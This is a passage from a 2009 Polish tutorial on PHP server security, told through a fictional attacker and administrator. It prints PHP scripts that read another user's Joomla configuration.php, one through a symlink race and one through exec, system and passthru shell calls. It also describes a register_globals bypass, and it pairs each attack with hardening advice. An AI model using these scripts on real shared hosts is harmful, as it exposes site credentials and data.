Resztę odgrywa pętla, która usuwa dowiązanie do zagnieżdżonej struktury katalogów, następnie tworzy dowiązanie o tej samej nazwie do katalogu głównego. Pętla wykonuje się przez czas określony w pliku konfiguracyjnym PHP w dyrektywie max_execution_time.

Oto drugi skrypt, potrzebny do przeprowadzenia ataku:

<?
header("Content-type: text/plain");
ini_set("display_errors", 1);
ini_set('track_errors', '1');
$file = "alfa/home/gostek/public_html/Joomla/configuration.php";
while (!highlight_file($file))
 if(highlight_file($file))
 highlight_file($file);
?>

Skrypt próbuje uzyskać dostęp do pliku określonego w zmiennej $plik, który jest naszym plikiem konfiguracyjnym strony internetowej.
Teraz rozpoczyna się prawdziwy wyścig, Zygmunt uruchamiając oba skryptu musiałby wyczekiwać momentu, gdy dowiązanie będzie wskazywało na katalog, do którego mamy dostęp, PHP nas puści i nie będzie w tym nic dziwnego, jednak w momencie otwierania, nasze dowiązanie już będzie odnosiło się do katalogu głównego. W takiej sytuacji Zygmunt zobaczyłby zawartość pliku w przeglądarce. Trzeba pamiętać, że w tym przypadki także jesteśmy ograniczeni dyrektywą max_execution_time.

Jak Janek mógłby się przed tym zabezpieczyć?
Są co najmniej dwa sposoby. Pierwszy z nich to posiadanie wersji PHP z dodatkiem Suhosin-Path, który elimunuję te zagrożenie.
Drugi sposób to dodanie funkcji symlink do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

System functions
Dostęp do bazy danych to za mało dla zdesperowanego pracownika. Haker pragnie usunąć wszystkie pliki, na których opiera się strona. Z pewnością przydałby się w tym momencie dostęp do powłoki, gdzie użyłby polecenia rm. Jednak to nie jest wykluczone, można przedłużyć swoje palce poprzez odpowiednie funkcje w PHP. Plan zigiego mógłby się ziścić.
Funkcji, z których Zygmunt mógłby skorzystać jest kilka, działają one bardzo podobnie.
Haker napisał skrypt, który próbuje odczytać plik konfiguracyjny strony, nic nie stoi na przeszkodzie by użyć tam upragnionego polecenia rm. Zawartość pliku systemfunctions.php jest następująca:

<?
$file = "/home/gostek/public_html/Joomla/configuration.php";
error_reporting(E_ALL);
ini_set('log_errors', '0');
ini_set('display_errors', '1');
 
exec("cat $file",$x);
$y = join($x);
echo $y;
passthru("cat $file");
$des = array(
0 =&gt; array("pipe", "r"),
1 =&gt; array("pipe", "w"),
2 =&gt; array("pipe", "w"));
$x = proc_open("cat $file", $des, $pipes);
while (($y = fgets($pipes[1], 4096)))
 echo $y.'
';
proc_close($x);
echo shell_exec("cat $file");
echo system("cat $file");
exec("cat $file",$x);
$y = join($x);
echo $y;
?>

Zygmuntowi niestety nie udało się użyć funkcji rodziny exec do swoich planów.

Jak Janek mógł się przed tym zabezpieczyć?
Jeśli administrator zaufałby safe_mode, mógłby próbować ustawić odpowiednio restrykcyjną wartość w dyrektywie safe _ mode _ exec _ dir, która została opisana kilka rozdziałów wcześniej.
Drugim sposób jest bardziej popularny, polega on na dodaniu zagrażających funkcji do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

Funkcje z rodziny exec oprócz niebezpieczeństwa niosą też wiele pożytku programistom, poprzez nie, mogą oni znacznie uprościć swój kod, lub skorzystać z innych gotowych rozwiązań systemowych.

Register_globals

Register_globals jest według mnie najgłupszym „udogodnieniem” wprowadzonym w PHP. Jak widać twórcy też się o tym przekonali, co skutkowało wyłączeniem i w końcu usunięciem tej funkcjonalności.
Dyrektywa włączająca register_globals znajduje się w pliku konfiguracyjnym PHP. Włączenie tej opcji pozwala na odwoływanie się do zmiennych globalnych jak do każdej inne zmiennej. Na przykład do zmiennej $_SESSION[”zalogowany”], możemy odwołać w ten sposób: $zalogowany. Miało to przynieść korzyści, ułatwić programowanie, skrócić kod i poprawić jego czytelność. Zamiast tego register_globals, przynosi wiele chaosu, łatwo zgubić się kiedy operujemy na zmiennej globalnej a kiedy nie, w kodzie mogą wyglądać tak samo. Opisywana przeze mnie funkcjonalność krytycznie obniża poziom bezpieczeństwa skryptów.
Często bywa, że musimy zabezpieczać skrypty by użytkownicy nie mogli ich wywołać z przeglądarki, chcemy żeby były dostępne tylko dla innych fragmentów kodu. Najprostszym sposobem jest ustawienie dodatkowej zmiennej, w ten sposób:

<?
if($included == 1)
{
//tresc pliku
}
?>

Jeśli chcemy dołączyć powyższy kod do innego fragmentu kodu, ustawiamy w nim zmienną $included na wartość 1. Wtedy nasz skrypt inkludowany posiada odpowiednią zmienną o odpowiedniej wartości i wykonuje się część kodu, zupełnie tak jak to zaplanowaliśmy.
Gdy register_globals jest włączone, sytuacja nie wygląda już tak prosto. Skoro możemy odwoływać się do zmiennych globalnych tak jak do zmiennych, które nie są globalne co stoi na przeszkodzie nadpisania zmiennej poprzez GET? Nic. Jedynym problemem w tym przypadku byłoby odgadnięcie nazwy zmiennej i wartości jaką musi posiadać do dalszego wykonania kodu.
Taki sposób ataku może być wykorzystywany w wielu sytuacjach, skryptów logowania, operujących na danych etc.
Jeśli Janek chciałby zabezpieczyć się przed tego typu atakami, musiałby ustawić wartość dyrektywy register_globals na Off, gdyby tego nie zrobił Zygmunt mógłby przeanalizować kod, który jest darmowy i znaleźć potencjalny na atak fragment kodu.

Podsumowanie

Każdy krok w kierunku zabezpieczenia naszego serwera jest dobrym krokiem, każde utrudnienie zniechęca lub powstrzymuje atakującego. Oprócz bezpieczeństwa na serwerze, powinniśmy też przestrzegać zasad bezpiecznego tworzenia aplikacji. Jeśli atakujący nie może zrealizować swojego planu od wnętrza (serwera), próbuję od zewnętrznej strony, czyli szuka potencjalnych luk w skryptach. Wcześniej wspomniane luki mogą być równie groźne jak niezabezpieczony serwer. Powinniśmy wnioskować, że udogodnienia jak register_globals, safe_mode są tylko pozornie tak dobre. Często zbytnie zaufanie takim funkcjonalnościom może się skończyć przejęciem serwera. Podsumowując warto wspomnieć, że powinniśmy polegać na własnych restrykcjach, a jeśli już korzystamy z gotowców, powinniśmy je wcześniej dokładnie sprawdzić. Dzięki za uwagę.

//notka:
Artykuł był pisany przeze mnie w 2009, od tego czasu niektóre z opisanych zagadnień mogły ulec zmianie.